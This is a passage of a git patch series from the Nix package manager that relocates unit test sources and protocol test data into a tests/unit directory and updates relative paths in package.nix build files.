diff --git a/src/nix-store-tests/data/path-info/empty_impure.json b/tests/unit/libstore/data/path-info/empty_impure.json
similarity index 100%
rename from src/nix-store-tests/data/path-info/empty_impure.json
rename to tests/unit/libstore/data/path-info/empty_impure.json
diff --git a/src/nix-store-tests/data/path-info/empty_pure.json b/tests/unit/libstore/data/path-info/empty_pure.json
similarity index 100%
rename from src/nix-store-tests/data/path-info/empty_pure.json
rename to tests/unit/libstore/data/path-info/empty_pure.json
diff --git a/src/nix-store-tests/data/path-info/impure.json b/tests/unit/libstore/data/path-info/impure.json
similarity index 100%
rename from src/nix-store-tests/data/path-info/impure.json
rename to tests/unit/libstore/data/path-info/impure.json
diff --git a/src/nix-store-tests/data/path-info/pure.json b/tests/unit/libstore/data/path-info/pure.json
similarity index 100%
rename from src/nix-store-tests/data/path-info/pure.json
rename to tests/unit/libstore/data/path-info/pure.json
diff --git a/src/nix-store-tests/data/serve-protocol/build-options-2.1.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.1.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/build-options-2.1.bin
rename to tests/unit/libstore/data/serve-protocol/build-options-2.1.bin
diff --git a/src/nix-store-tests/data/serve-protocol/build-options-2.2.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.2.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/build-options-2.2.bin
rename to tests/unit/libstore/data/serve-protocol/build-options-2.2.bin
diff --git a/src/nix-store-tests/data/serve-protocol/build-options-2.3.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.3.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/build-options-2.3.bin
rename to tests/unit/libstore/data/serve-protocol/build-options-2.3.bin
diff --git a/src/nix-store-tests/data/serve-protocol/build-options-2.7.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.7.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/build-options-2.7.bin
rename to tests/unit/libstore/data/serve-protocol/build-options-2.7.bin
diff --git a/src/nix-store-tests/data/serve-protocol/build-result-2.2.bin b/tests/unit/libstore/data/serve-protocol/build-result-2.2.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/build-result-2.2.bin
rename to tests/unit/libstore/data/serve-protocol/build-result-2.2.bin
diff --git a/src/nix-store-tests/data/serve-protocol/build-result-2.3.bin b/tests/unit/libstore/data/serve-protocol/build-result-2.3.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/build-result-2.3.bin
rename to tests/unit/libstore/data/serve-protocol/build-result-2.3.bin
diff --git a/src/nix-store-tests/data/serve-protocol/build-result-2.6.bin b/tests/unit/libstore/data/serve-protocol/build-result-2.6.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/build-result-2.6.bin
rename to tests/unit/libstore/data/serve-protocol/build-result-2.6.bin
diff --git a/src/nix-store-tests/data/serve-protocol/content-address.bin b/tests/unit/libstore/data/serve-protocol/content-address.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/content-address.bin
rename to tests/unit/libstore/data/serve-protocol/content-address.bin
diff --git a/src/nix-store-tests/data/serve-protocol/drv-output.bin b/tests/unit/libstore/data/serve-protocol/drv-output.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/drv-output.bin
rename to tests/unit/libstore/data/serve-protocol/drv-output.bin
diff --git a/src/nix-store-tests/data/serve-protocol/handshake-to-client.bin b/tests/unit/libstore/data/serve-protocol/handshake-to-client.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/handshake-to-client.bin
rename to tests/unit/libstore/data/serve-protocol/handshake-to-client.bin
diff --git a/src/nix-store-tests/data/serve-protocol/optional-content-address.bin b/tests/unit/libstore/data/serve-protocol/optional-content-address.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/optional-content-address.bin
rename to tests/unit/libstore/data/serve-protocol/optional-content-address.bin
diff --git a/src/nix-store-tests/data/serve-protocol/optional-store-path.bin b/tests/unit/libstore/data/serve-protocol/optional-store-path.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/optional-store-path.bin
rename to tests/unit/libstore/data/serve-protocol/optional-store-path.bin
diff --git a/src/nix-store-tests/data/serve-protocol/realisation.bin b/tests/unit/libstore/data/serve-protocol/realisation.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/realisation.bin
rename to tests/unit/libstore/data/serve-protocol/realisation.bin
diff --git a/src/nix-store-tests/data/serve-protocol/set.bin b/tests/unit/libstore/data/serve-protocol/set.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/set.bin
rename to tests/unit/libstore/data/serve-protocol/set.bin
diff --git a/src/nix-store-tests/data/serve-protocol/store-path.bin b/tests/unit/libstore/data/serve-protocol/store-path.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/store-path.bin
rename to tests/unit/libstore/data/serve-protocol/store-path.bin
diff --git a/src/nix-store-tests/data/serve-protocol/string.bin b/tests/unit/libstore/data/serve-protocol/string.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/string.bin
rename to tests/unit/libstore/data/serve-protocol/string.bin
diff --git a/src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.3.bin b/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.3.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.3.bin
rename to tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.3.bin
diff --git a/src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.4.bin b/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.4.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.4.bin
rename to tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.4.bin
diff --git a/src/nix-store-tests/data/serve-protocol/vector.bin b/tests/unit/libstore/data/serve-protocol/vector.bin
similarity index 100%
rename from src/nix-store-tests/data/serve-protocol/vector.bin
rename to tests/unit/libstore/data/serve-protocol/vector.bin
diff --git a/src/nix-store-tests/data/store-reference/auto.txt b/tests/unit/libstore/data/store-reference/auto.txt
similarity index 100%
rename from src/nix-store-tests/data/store-reference/auto.txt
rename to tests/unit/libstore/data/store-reference/auto.txt
diff --git a/src/nix-store-tests/data/store-reference/auto_param.txt b/tests/unit/libstore/data/store-reference/auto_param.txt
similarity index 100%
rename from src/nix-store-tests/data/store-reference/auto_param.txt
rename to tests/unit/libstore/data/store-reference/auto_param.txt
diff --git a/src/nix-store-tests/data/store-reference/local_1.txt b/tests/unit/libstore/data/store-reference/local_1.txt
similarity index 100%
rename from src/nix-store-tests/data/store-reference/local_1.txt
rename to tests/unit/libstore/data/store-reference/local_1.txt
diff --git a/src/nix-store-tests/data/store-reference/local_2.txt b/tests/unit/libstore/data/store-reference/local_2.txt
similarity index 100%
rename from src/nix-store-tests/data/store-reference/local_2.txt
rename to tests/unit/libstore/data/store-reference/local_2.txt
diff --git a/src/nix-store-tests/data/store-reference/local_shorthand_1.txt b/tests/unit/libstore/data/store-reference/local_shorthand_1.txt
similarity index 100%
rename from src/nix-store-tests/data/store-reference/local_shorthand_1.txt
rename to tests/unit/libstore/data/store-reference/local_shorthand_1.txt
diff --git a/src/nix-store-tests/data/store-reference/local_shorthand_2.txt b/tests/unit/libstore/data/store-reference/local_shorthand_2.txt
similarity index 100%
rename from src/nix-store-tests/data/store-reference/local_shorthand_2.txt
rename to tests/unit/libstore/data/store-reference/local_shorthand_2.txt
diff --git a/src/nix-store-tests/data/store-reference/ssh.txt b/tests/unit/libstore/data/store-reference/ssh.txt
similarity index 100%
rename from src/nix-store-tests/data/store-reference/ssh.txt
rename to tests/unit/libstore/data/store-reference/ssh.txt
diff --git a/src/nix-store-tests/data/store-reference/unix.txt b/tests/unit/libstore/data/store-reference/unix.txt
similarity index 100%
rename from src/nix-store-tests/data/store-reference/unix.txt
rename to tests/unit/libstore/data/store-reference/unix.txt
diff --git a/src/nix-store-tests/data/store-reference/unix_shorthand.txt b/tests/unit/libstore/data/store-reference/unix_shorthand.txt
similarity index 100%
rename from src/nix-store-tests/data/store-reference/unix_shorthand.txt
rename to tests/unit/libstore/data/store-reference/unix_shorthand.txt
diff --git a/src/nix-store-tests/data/worker-protocol/build-mode.bin b/tests/unit/libstore/data/worker-protocol/build-mode.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/build-mode.bin
rename to tests/unit/libstore/data/worker-protocol/build-mode.bin
diff --git a/src/nix-store-tests/data/worker-protocol/build-result-1.27.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.27.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/build-result-1.27.bin
rename to tests/unit/libstore/data/worker-protocol/build-result-1.27.bin
diff --git a/src/nix-store-tests/data/worker-protocol/build-result-1.28.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.28.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/build-result-1.28.bin
rename to tests/unit/libstore/data/worker-protocol/build-result-1.28.bin
diff --git a/src/nix-store-tests/data/worker-protocol/build-result-1.29.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.29.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/build-result-1.29.bin
rename to tests/unit/libstore/data/worker-protocol/build-result-1.29.bin
diff --git a/src/nix-store-tests/data/worker-protocol/build-result-1.37.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.37.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/build-result-1.37.bin
rename to tests/unit/libstore/data/worker-protocol/build-result-1.37.bin
diff --git a/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_30.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/client-handshake-info_1_30.bin
rename to tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin
diff --git a/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_33.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/client-handshake-info_1_33.bin
rename to tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin
diff --git a/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_35.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/client-handshake-info_1_35.bin
rename to tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin
diff --git a/src/nix-store-tests/data/worker-protocol/content-address.bin b/tests/unit/libstore/data/worker-protocol/content-address.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/content-address.bin
rename to tests/unit/libstore/data/worker-protocol/content-address.bin
diff --git a/src/nix-store-tests/data/worker-protocol/derived-path-1.29.bin b/tests/unit/libstore/data/worker-protocol/derived-path-1.29.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/derived-path-1.29.bin
rename to tests/unit/libstore/data/worker-protocol/derived-path-1.29.bin
diff --git a/src/nix-store-tests/data/worker-protocol/derived-path-1.30.bin b/tests/unit/libstore/data/worker-protocol/derived-path-1.30.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/derived-path-1.30.bin
rename to tests/unit/libstore/data/worker-protocol/derived-path-1.30.bin
diff --git a/src/nix-store-tests/data/worker-protocol/drv-output.bin b/tests/unit/libstore/data/worker-protocol/drv-output.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/drv-output.bin
rename to tests/unit/libstore/data/worker-protocol/drv-output.bin
diff --git a/src/nix-store-tests/data/worker-protocol/handshake-to-client.bin b/tests/unit/libstore/data/worker-protocol/handshake-to-client.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/handshake-to-client.bin
rename to tests/unit/libstore/data/worker-protocol/handshake-to-client.bin
diff --git a/src/nix-store-tests/data/worker-protocol/keyed-build-result-1.29.bin b/tests/unit/libstore/data/worker-protocol/keyed-build-result-1.29.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/keyed-build-result-1.29.bin
rename to tests/unit/libstore/data/worker-protocol/keyed-build-result-1.29.bin
diff --git a/src/nix-store-tests/data/worker-protocol/optional-content-address.bin b/tests/unit/libstore/data/worker-protocol/optional-content-address.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/optional-content-address.bin
rename to tests/unit/libstore/data/worker-protocol/optional-content-address.bin
diff --git a/src/nix-store-tests/data/worker-protocol/optional-store-path.bin b/tests/unit/libstore/data/worker-protocol/optional-store-path.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/optional-store-path.bin
rename to tests/unit/libstore/data/worker-protocol/optional-store-path.bin
diff --git a/src/nix-store-tests/data/worker-protocol/optional-trusted-flag.bin b/tests/unit/libstore/data/worker-protocol/optional-trusted-flag.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/optional-trusted-flag.bin
rename to tests/unit/libstore/data/worker-protocol/optional-trusted-flag.bin
diff --git a/src/nix-store-tests/data/worker-protocol/realisation.bin b/tests/unit/libstore/data/worker-protocol/realisation.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/realisation.bin
rename to tests/unit/libstore/data/worker-protocol/realisation.bin
diff --git a/src/nix-store-tests/data/worker-protocol/set.bin b/tests/unit/libstore/data/worker-protocol/set.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/set.bin
rename to tests/unit/libstore/data/worker-protocol/set.bin
diff --git a/src/nix-store-tests/data/worker-protocol/store-path.bin b/tests/unit/libstore/data/worker-protocol/store-path.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/store-path.bin
rename to tests/unit/libstore/data/worker-protocol/store-path.bin
diff --git a/src/nix-store-tests/data/worker-protocol/string.bin b/tests/unit/libstore/data/worker-protocol/string.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/string.bin
rename to tests/unit/libstore/data/worker-protocol/string.bin
diff --git a/src/nix-store-tests/data/worker-protocol/unkeyed-valid-path-info-1.15.bin b/tests/unit/libstore/data/worker-protocol/unkeyed-valid-path-info-1.15.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/unkeyed-valid-path-info-1.15.bin
rename to tests/unit/libstore/data/worker-protocol/unkeyed-valid-path-info-1.15.bin
diff --git a/src/nix-store-tests/data/worker-protocol/valid-path-info-1.15.bin b/tests/unit/libstore/data/worker-protocol/valid-path-info-1.15.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/valid-path-info-1.15.bin
rename to tests/unit/libstore/data/worker-protocol/valid-path-info-1.15.bin
diff --git a/src/nix-store-tests/data/worker-protocol/valid-path-info-1.16.bin b/tests/unit/libstore/data/worker-protocol/valid-path-info-1.16.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/valid-path-info-1.16.bin
rename to tests/unit/libstore/data/worker-protocol/valid-path-info-1.16.bin
diff --git a/src/nix-store-tests/data/worker-protocol/vector.bin b/tests/unit/libstore/data/worker-protocol/vector.bin
similarity index 100%
rename from src/nix-store-tests/data/worker-protocol/vector.bin
rename to tests/unit/libstore/data/worker-protocol/vector.bin
diff --git a/src/nix-store-tests/derivation-advanced-attrs.cc b/tests/unit/libstore/derivation-advanced-attrs.cc
similarity index 100%
rename from src/nix-store-tests/derivation-advanced-attrs.cc
rename to tests/unit/libstore/derivation-advanced-attrs.cc
diff --git a/src/nix-store-tests/derivation.cc b/tests/unit/libstore/derivation.cc
similarity index 100%
rename from src/nix-store-tests/derivation.cc
rename to tests/unit/libstore/derivation.cc
diff --git a/src/nix-store-tests/derived-path.cc b/tests/unit/libstore/derived-path.cc
similarity index 100%
rename from src/nix-store-tests/derived-path.cc
rename to tests/unit/libstore/derived-path.cc
diff --git a/src/nix-store-tests/downstream-placeholder.cc b/tests/unit/libstore/downstream-placeholder.cc
similarity index 100%
rename from src/nix-store-tests/downstream-placeholder.cc
rename to tests/unit/libstore/downstream-placeholder.cc
diff --git a/src/nix-store-tests/machines.cc b/tests/unit/libstore/machines.cc
similarity index 100%
rename from src/nix-store-tests/machines.cc
rename to tests/unit/libstore/machines.cc
diff --git a/src/nix-store-tests/meson.build b/tests/unit/libstore/meson.build
similarity index 100%
rename from src/nix-store-tests/meson.build
rename to tests/unit/libstore/meson.build
diff --git a/src/nix-store-tests/nar-info-disk-cache.cc b/tests/unit/libstore/nar-info-disk-cache.cc
similarity index 100%
rename from src/nix-store-tests/nar-info-disk-cache.cc
rename to tests/unit/libstore/nar-info-disk-cache.cc
diff --git a/src/nix-store-tests/nar-info.cc b/tests/unit/libstore/nar-info.cc
similarity index 100%
rename from src/nix-store-tests/nar-info.cc
rename to tests/unit/libstore/nar-info.cc
diff --git a/src/nix-store-tests/nix_api_store.cc b/tests/unit/libstore/nix_api_store.cc
similarity index 100%
rename from src/nix-store-tests/nix_api_store.cc
rename to tests/unit/libstore/nix_api_store.cc
diff --git a/src/nix-store-tests/outputs-spec.cc b/tests/unit/libstore/outputs-spec.cc
similarity index 100%
rename from src/nix-store-tests/outputs-spec.cc
rename to tests/unit/libstore/outputs-spec.cc
diff --git a/src/nix-store-tests/package.nix b/tests/unit/libstore/package.nix
similarity index 90%
rename from src/nix-store-tests/package.nix
rename to tests/unit/libstore/package.nix
index 243b9f14904..663e8ba437a 100644
--- a/src/nix-store-tests/package.nix
+++ b/tests/unit/libstore/package.nix
@@ -33,9 +33,9 @@ mkMesonDerivation (finalAttrs: {
 
   workDir = ./.;
   fileset = fileset.unions [
-    ../../build-utils-meson
+    ../../../build-utils-meson
     ./build-utils-meson
-    ../../.version
+    ../../../.version
     ./.version
     ./meson.build
     # ./meson.options
@@ -65,7 +65,7 @@ mkMesonDerivation (finalAttrs: {
     # Do the meson utils, without modification.
     ''
       chmod u+w ./.version
-      echo ${version} > ../../.version
+      echo ${version} > ../../../.version
     '';
 
   mesonFlags = [
@@ -92,12 +92,12 @@ mkMesonDerivation (finalAttrs: {
           root = ../..;
           fileset = lib.fileset.unions [
             ./data
-            ../../tests/functional/derivation
+            ../../functional/derivation
           ];
         };
       in runCommand "${finalAttrs.pname}-run" {} ''
         PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
-        export _NIX_TEST_UNIT_DATA=${data + "/src/nix-store-test/data"}
+        export _NIX_TEST_UNIT_DATA=${data + "/unit/libstore/data"}
         nix-store-tests
         touch $out
       '';
diff --git a/src/nix-store-tests/path-info.cc b/tests/unit/libstore/path-info.cc
similarity index 100%
rename from src/nix-store-tests/path-info.cc
rename to tests/unit/libstore/path-info.cc
diff --git a/src/nix-store-tests/path.cc b/tests/unit/libstore/path.cc
similarity index 100%
rename from src/nix-store-tests/path.cc
rename to tests/unit/libstore/path.cc
diff --git a/src/nix-store-tests/references.cc b/tests/unit/libstore/references.cc
similarity index 100%
rename from src/nix-store-tests/references.cc
rename to tests/unit/libstore/references.cc
diff --git a/src/nix-store-tests/serve-protocol.cc b/tests/unit/libstore/serve-protocol.cc
similarity index 100%
rename from src/nix-store-tests/serve-protocol.cc
rename to tests/unit/libstore/serve-protocol.cc
diff --git a/src/nix-store-tests/store-reference.cc b/tests/unit/libstore/store-reference.cc
similarity index 100%
rename from src/nix-store-tests/store-reference.cc
rename to tests/unit/libstore/store-reference.cc
diff --git a/src/nix-store-tests/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc
similarity index 100%
rename from src/nix-store-tests/worker-protocol.cc
rename to tests/unit/libstore/worker-protocol.cc
diff --git a/tests/unit/libutil-support/.version b/tests/unit/libutil-support/.version
new file mode 120000
index 00000000000..0df9915bfaa
--- /dev/null
+++ b/tests/unit/libutil-support/.version
@@ -0,0 +1 @@
+../../../.version
\ No newline at end of file
diff --git a/tests/unit/libutil-support/build-utils-meson b/tests/unit/libutil-support/build-utils-meson
new file mode 120000
index 00000000000..f2d8e8a5093
--- /dev/null
+++ b/tests/unit/libutil-support/build-utils-meson
@@ -0,0 +1 @@
+../../../build-utils-meson/
\ No newline at end of file
diff --git a/src/nix-util-test-support/meson.build b/tests/unit/libutil-support/meson.build
similarity index 100%
rename from src/nix-util-test-support/meson.build
rename to tests/unit/libutil-support/meson.build
diff --git a/src/nix-util-test-support/package.nix b/tests/unit/libutil-support/package.nix
similarity index 93%
rename from src/nix-util-test-support/package.nix
rename to tests/unit/libutil-support/package.nix
index 42a56d58f04..431fe91c619 100644
--- a/src/nix-util-test-support/package.nix
+++ b/tests/unit/libutil-support/package.nix
@@ -28,9 +28,9 @@ mkMesonDerivation (finalAttrs: {
 
   workDir = ./.;
   fileset = fileset.unions [
-    ../../build-utils-meson
+    ../../../build-utils-meson
     ./build-utils-meson
-    ../../.version
+    ../../../.version
     ./.version
     ./meson.build
     # ./meson.options
@@ -56,7 +56,7 @@ mkMesonDerivation (finalAttrs: {
     # Do the meson utils, without modification.
     ''
       chmod u+w ./.version
-      echo ${version} > ../../.version
+      echo ${version} > ../../../.version
     '';
 
   mesonFlags = [
diff --git a/src/nix-util-test-support/tests/characterization.hh b/tests/unit/libutil-support/tests/characterization.hh
similarity index 100%
rename from src/nix-util-test-support/tests/characterization.hh
rename to tests/unit/libutil-support/tests/characterization.hh
diff --git a/src/nix-util-test-support/tests/hash.cc b/tests/unit/libutil-support/tests/hash.cc
similarity index 100%
rename from src/nix-util-test-support/tests/hash.cc
rename to tests/unit/libutil-support/tests/hash.cc
diff --git a/src/nix-util-test-support/tests/hash.hh b/tests/unit/libutil-support/tests/hash.hh
similarity index 100%
rename from src/nix-util-test-support/tests/hash.hh
rename to tests/unit/libutil-support/tests/hash.hh
diff --git a/src/nix-util-test-support/tests/nix_api_util.hh b/tests/unit/libutil-support/tests/nix_api_util.hh
similarity index 100%
rename from src/nix-util-test-support/tests/nix_api_util.hh
rename to tests/unit/libutil-support/tests/nix_api_util.hh
diff --git a/src/nix-util-test-support/tests/string_callback.cc b/tests/unit/libutil-support/tests/string_callback.cc
similarity index 100%
rename from src/nix-util-test-support/tests/string_callback.cc
rename to tests/unit/libutil-support/tests/string_callback.cc
diff --git a/src/nix-util-test-support/tests/string_callback.hh b/tests/unit/libutil-support/tests/string_callback.hh
similarity index 100%
rename from src/nix-util-test-support/tests/string_callback.hh
rename to tests/unit/libutil-support/tests/string_callback.hh
diff --git a/tests/unit/libutil/.version b/tests/unit/libutil/.version
new file mode 120000
index 00000000000..0df9915bfaa
--- /dev/null
+++ b/tests/unit/libutil/.version
@@ -0,0 +1 @@
+../../../.version
\ No newline at end of file
diff --git a/src/nix-util-tests/args.cc b/tests/unit/libutil/args.cc
similarity index 100%
rename from src/nix-util-tests/args.cc
rename to tests/unit/libutil/args.cc
diff --git a/tests/unit/libutil/build-utils-meson b/tests/unit/libutil/build-utils-meson
new file mode 120000
index 00000000000..f2d8e8a5093
--- /dev/null
+++ b/tests/unit/libutil/build-utils-meson
@@ -0,0 +1 @@
+../../../build-utils-meson/
\ No newline at end of file
diff --git a/src/nix-util-tests/canon-path.cc b/tests/unit/libutil/canon-path.cc
similarity index 100%
rename from src/nix-util-tests/canon-path.cc
rename to tests/unit/libutil/canon-path.cc
diff --git a/src/nix-util-tests/chunked-vector.cc b/tests/unit/libutil/chunked-vector.cc
similarity index 100%
rename from src/nix-util-tests/chunked-vector.cc
rename to tests/unit/libutil/chunked-vector.cc
diff --git a/src/nix-util-tests/closure.cc b/tests/unit/libutil/closure.cc
similarity index 100%
rename from src/nix-util-tests/closure.cc
rename to tests/unit/libutil/closure.cc
diff --git a/src/nix-util-tests/compression.cc b/tests/unit/libutil/compression.cc
similarity index 100%
rename from src/nix-util-tests/compression.cc
rename to tests/unit/libutil/compression.cc
diff --git a/src/nix-util-tests/config.cc b/tests/unit/libutil/config.cc
similarity index 100%
rename from src/nix-util-tests/config.cc
rename to tests/unit/libutil/config.cc
diff --git a/src/nix-util-tests/data/git/check-data.sh b/tests/unit/libutil/data/git/check-data.sh
similarity index 100%
rename from src/nix-util-tests/data/git/check-data.sh
rename to tests/unit/libutil/data/git/check-data.sh
diff --git a/src/nix-util-tests/data/git/hello-world-blob.bin b/tests/unit/libutil/data/git/hello-world-blob.bin
similarity index 100%
rename from src/nix-util-tests/data/git/hello-world-blob.bin
rename to tests/unit/libutil/data/git/hello-world-blob.bin
diff --git a/src/nix-util-tests/data/git/hello-world.bin b/tests/unit/libutil/data/git/hello-world.bin
similarity index 100%
rename from src/nix-util-tests/data/git/hello-world.bin
rename to tests/unit/libutil/data/git/hello-world.bin
diff --git a/src/nix-util-tests/data/git/tree.bin b/tests/unit/libutil/data/git/tree.bin
similarity index 100%
rename from src/nix-util-tests/data/git/tree.bin
rename to tests/unit/libutil/data/git/tree.bin
diff --git a/src/nix-util-tests/data/git/tree.txt b/tests/unit/libutil/data/git/tree.txt
similarity index 100%
rename from src/nix-util-tests/data/git/tree.txt
rename to tests/unit/libutil/data/git/tree.txt
diff --git a/src/nix-util-tests/file-content-address.cc b/tests/unit/libutil/file-content-address.cc
similarity index 100%
rename from src/nix-util-tests/file-content-address.cc
rename to tests/unit/libutil/file-content-address.cc
diff --git a/src/nix-util-tests/git.cc b/tests/unit/libutil/git.cc
similarity index 99%
rename from src/nix-util-tests/git.cc
rename to tests/unit/libutil/git.cc
index 24d24a79146..ff934c117b8 100644
--- a/src/nix-util-tests/git.cc
+++ b/tests/unit/libutil/git.cc
@@ -88,7 +88,7 @@ TEST_F(GitTest, blob_write) {
 /**
  * This data is for "shallow" tree tests. However, we use "real" hashes
  * so that we can check our test data in a small shell script test test
- * (`src/nix-util-tests/data/git/check-data.sh`).
+ * (`tests/unit/libutil/data/git/check-data.sh`).
  */
 const static Tree tree = {
     {
diff --git a/src/nix-util-tests/hash.cc b/tests/unit/libutil/hash.cc
similarity index 100%
rename from src/nix-util-tests/hash.cc
rename to tests/unit/libutil/hash.cc
diff --git a/src/nix-util-tests/hilite.cc b/tests/unit/libutil/hilite.cc
similarity index 100%
rename from src/nix-util-tests/hilite.cc
rename to tests/unit/libutil/hilite.cc
diff --git a/src/nix-util-tests/json-utils.cc b/tests/unit/libutil/json-utils.cc
similarity index 100%
rename from src/nix-util-tests/json-utils.cc
rename to tests/unit/libutil/json-utils.cc
diff --git a/src/nix-util-tests/logging.cc b/tests/unit/libutil/logging.cc
similarity index 100%
rename from src/nix-util-tests/logging.cc
rename to tests/unit/libutil/logging.cc
diff --git a/src/nix-util-tests/lru-cache.cc b/tests/unit/libutil/lru-cache.cc
similarity index 100%
rename from src/nix-util-tests/lru-cache.cc
rename to tests/unit/libutil/lru-cache.cc
diff --git a/src/nix-util-tests/meson.build b/tests/unit/libutil/meson.build
similarity index 100%
rename from src/nix-util-tests/meson.build
rename to tests/unit/libutil/meson.build
diff --git a/src/nix-util-tests/nix_api_util.cc b/tests/unit/libutil/nix_api_util.cc
similarity index 100%
rename from src/nix-util-tests/nix_api_util.cc
rename to tests/unit/libutil/nix_api_util.cc
diff --git a/src/nix-util-tests/package.nix b/tests/unit/libutil/package.nix
similarity index 94%
rename from src/nix-util-tests/package.nix
rename to tests/unit/libutil/package.nix
index 2491d872279..6bfa571d8af 100644
--- a/src/nix-util-tests/package.nix
+++ b/tests/unit/libutil/package.nix
@@ -32,9 +32,9 @@ mkMesonDerivation (finalAttrs: {
 
   workDir = ./.;
   fileset = fileset.unions [
-    ../../build-utils-meson
+    ../../../build-utils-meson
     ./build-utils-meson
-    ../../.version
+    ../../../.version
     ./.version
     ./meson.build
     # ./meson.options
@@ -63,7 +63,7 @@ mkMesonDerivation (finalAttrs: {
     # Do the meson utils, without modification.
     ''
       chmod u+w ./.version
-      echo ${version} > ../../.version
+      echo ${version} > ../../../.version
     '';
 
   mesonFlags = [
diff --git a/src/nix-util-tests/pool.cc b/tests/unit/libutil/pool.cc
similarity index 100%
rename from src/nix-util-tests/pool.cc
rename to tests/unit/libutil/pool.cc
diff --git a/src/nix-util-tests/references.cc b/tests/unit/libutil/references.cc
similarity index 100%
rename from src/nix-util-tests/references.cc
rename to tests/unit/libutil/references.cc
diff --git a/src/nix-util-tests/spawn.cc b/tests/unit/libutil/spawn.cc
similarity index 100%
rename from src/nix-util-tests/spawn.cc
rename to tests/unit/libutil/spawn.cc
diff --git a/src/nix-util-tests/suggestions.cc b/tests/unit/libutil/suggestions.cc
similarity index 100%
rename from src/nix-util-tests/suggestions.cc
rename to tests/unit/libutil/suggestions.cc
diff --git a/src/nix-util-tests/tests.cc b/tests/unit/libutil/tests.cc
similarity index 100%
rename from src/nix-util-tests/tests.cc
rename to tests/unit/libutil/tests.cc
diff --git a/src/nix-util-tests/url.cc b/tests/unit/libutil/url.cc
similarity index 100%
rename from src/nix-util-tests/url.cc
rename to tests/unit/libutil/url.cc
diff --git a/src/nix-util-tests/xml-writer.cc b/tests/unit/libutil/xml-writer.cc
similarity index 100%
rename from src/nix-util-tests/xml-writer.cc
rename to tests/unit/libutil/xml-writer.cc

From b0bc2a97bfe007fbc32f584ed9de5e7cb75a521c Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 1 Jul 2024 14:40:34 -0400
Subject: [PATCH 493/528] Put unit tests back in old build system for now

---
 Makefile                             | 19 ++++++++++++
 Makefile.config.in                   |  1 +
 configure.ac                         | 22 ++++++++++++++
 package.nix                          | 33 +++++++++++++++++++-
 tests/unit/libexpr-support/local.mk  | 23 ++++++++++++++
 tests/unit/libexpr/local.mk          | 45 ++++++++++++++++++++++++++++
 tests/unit/libfetchers/local.mk      | 37 +++++++++++++++++++++++
 tests/unit/libflake/local.mk         | 43 ++++++++++++++++++++++++++
 tests/unit/libstore-support/local.mk | 21 +++++++++++++
